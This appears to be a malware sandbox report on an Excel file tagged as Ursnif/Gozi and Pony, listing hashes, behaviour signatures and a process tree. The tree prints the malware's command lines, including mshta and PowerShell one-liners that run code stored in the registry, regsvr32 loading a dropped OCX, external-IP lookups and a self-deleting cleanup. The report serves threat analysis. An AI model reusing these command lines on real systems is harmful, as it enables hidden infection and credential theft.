Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

8

tr_9.xls

windows7_x64

10

tr_9.xls

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    14/07/2020, 05:19

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    tr_9.xls

  • Size

    90KB

  • MD5

    9cf44f1dd44ea313a0d931130ebb1aaf

  • SHA1

    0243be928d28f5b75d4d58af445b6d1b0350ee2c

  • SHA256

    c18e2c68d372caf4cfd5ead1dcfe93d369a93fdc9198c76152283c4e747ecad5

  • SHA512

    e7644dfae5808829f6d5ee129ff2e250da1dd257a3657becec472a562404aa12b6e7ab7b6eba5d93e4a39b02e89afa0b16a08e89adb150e271548bcd3cc9516f

Score
10/10
bankertrojanursnifevasionspywaregozi_ifsbdiscoveryratstealerpony

Malware Config

Signatures

  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Checks whether UAC is enabled 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 43 IoCs
    adwarespyware
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Suspicious use of WriteProcessMemory 91 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

    bankertrojanursnif
  • Drops file in System32 directory 1 IoCs
  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

    bankertrojangozi_ifsb
  • Modifies system certificate store 2 TTPs 4 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 17 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Loads dropped DLL 3 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spyware
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Checks for installed software on the system 1 TTPs 10 IoCs
    discovery
  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

    ratspywarestealerpony

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetThreadContext
    • Suspicious behavior: MapViewOfSection
    • Suspicious behavior: EnumeratesProcesses
    PID:1316
    • C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
      "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tr_9.xls
      2⤵
      • Suspicious use of WriteProcessMemory
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      PID:1528
      • C:\Windows\System32\regsvr32.exe
        "C:\Windows\System32\regsvr32.exe" /s /i dDdoiBj.ocx
        3⤵
        • Suspicious use of WriteProcessMemory
        • Process spawned unexpected child process
        PID:1232
        • C:\Windows\SysWOW64\regsvr32.exe
          /s /i dDdoiBj.ocx
          4⤵
          • Suspicious use of WriteProcessMemory
          • Suspicious use of SetThreadContext
          • Loads dropped DLL
          PID:1800
          • C:\Windows\SysWOW64\svchost.exe
            C:\Windows\System32\svchost.exe
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            • Suspicious use of SetThreadContext
            • Modifies system certificate store
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            • Checks for installed software on the system
            PID:1852
            • C:\Windows\SysWOW64\cmd.exe
              cmd /K
              6⤵
                PID:572
              • C:\Windows\SysWOW64\svchost.exe
                C:\Windows\System32\svchost.exe
                6⤵
                  PID:1568
                • C:\Users\Admin\AppData\Local\Temp\BNEC76.tmp
                  C:\Users\Admin\AppData\Local\Temp\BNEC76.tmp
                  6⤵
                  • Executes dropped EXE
                  PID:1932
        • C:\Windows\System32\mshta.exe
          "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\136B3805-56F5-BDAC-F8F7-EA41AC1BBE05\\\Efsltprf'));if(!window.flag)close()</script>"
          2⤵
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:1588
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\136B3805-56F5-BDAC-F8F7-EA41AC1BBE05").dmrctcls))
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            • Suspicious use of SetThreadContext
            • Drops file in System32 directory
            • Suspicious behavior: MapViewOfSection
            • Suspicious behavior: EnumeratesProcesses
            PID:1964
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j2p1xl54\j2p1xl54.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1584
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6028.tmp" "c:\Users\Admin\AppData\Local\Temp\j2p1xl54\CSCCA94FCC2B884400FB52EE936881C42C.TMP"
                5⤵
                  PID:1748
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vfs4oqtr\vfs4oqtr.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1008
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES60F3.tmp" "c:\Users\Admin\AppData\Local\Temp\vfs4oqtr\CSCCC5EE894CFCD45DB87BC5C3C59C1FC7.TMP"
                  5⤵
                    PID:1624
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\BNEC76.tmp"
              2⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              PID:1760
              • C:\Windows\system32\PING.EXE
                ping localhost -n 5
                3⤵
                • Runs ping.exe
                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                PID:1520
            • C:\Windows\system32\cmd.exe
              cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\494.bi1"
              2⤵
                PID:1972
                • C:\Windows\system32\nslookup.exe
                  nslookup myip.opendns.com resolver1.opendns.com
                  3⤵
                    PID:1932
                • C:\Windows\system32\cmd.exe
                  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\354.bi1"
                  2⤵
                    PID:1964
                    • C:\Windows\system32\nslookup.exe
                      nslookup myip.opendns.com resolver1.opendns.com
                      3⤵
                        PID:1472
                    • C:\Windows\system32\cmd.exe
                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\354.bi1"
                      2⤵
                        PID:2032
                      • C:\Windows\system32\cmd.exe
                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\494.bi1"
                        2⤵
                          PID:1912
                      • C:\Program Files\Internet Explorer\iexplore.exe
                        "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                        1⤵
                        • Suspicious use of FindShellTrayWindow
                        • Checks whether UAC is enabled
                        • Modifies Internet Explorer settings
                        • Suspicious use of WriteProcessMemory
                        • Suspicious use of SetWindowsHookEx
                        PID:1864
                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1864 CREDAT:275457 /prefetch:2
                          2⤵
                          • Checks whether UAC is enabled
                          • Modifies Internet Explorer settings
                          • Suspicious use of SetWindowsHookEx
                          PID:1232
                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1864 CREDAT:209932 /prefetch:2
                          2⤵
                          • Checks whether UAC is enabled
                          • Modifies Internet Explorer settings
                          • Suspicious use of SetWindowsHookEx
                          PID:1920

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • memory/1568-11-0x000000000BC00000-0x000000000BC12000-memory.dmp

                        Filesize

                        72KB

                        Download

                      • memory/1568-13-0x000000000BC00000-0x000000000BC12000-memory.dmp

                        Filesize

                        72KB

                        Download

                      • memory/1852-6-0x0000000000400000-0x0000000000409000-memory.dmp

                        Filesize

                        36KB

                        Download

                      • memory/1852-4-0x0000000000400000-0x0000000000409000-memory.dmp

                        Filesize

                        36KB

                        Download

                      • memory/1932-18-0x0000000000DD9000-0x0000000000DEA000-memory.dmp

                        Filesize

                        68KB

                        Download

                      • memory/1932-19-0x0000000000ED0000-0x0000000000EE1000-memory.dmp

                        Filesize

                        68KB

                        Download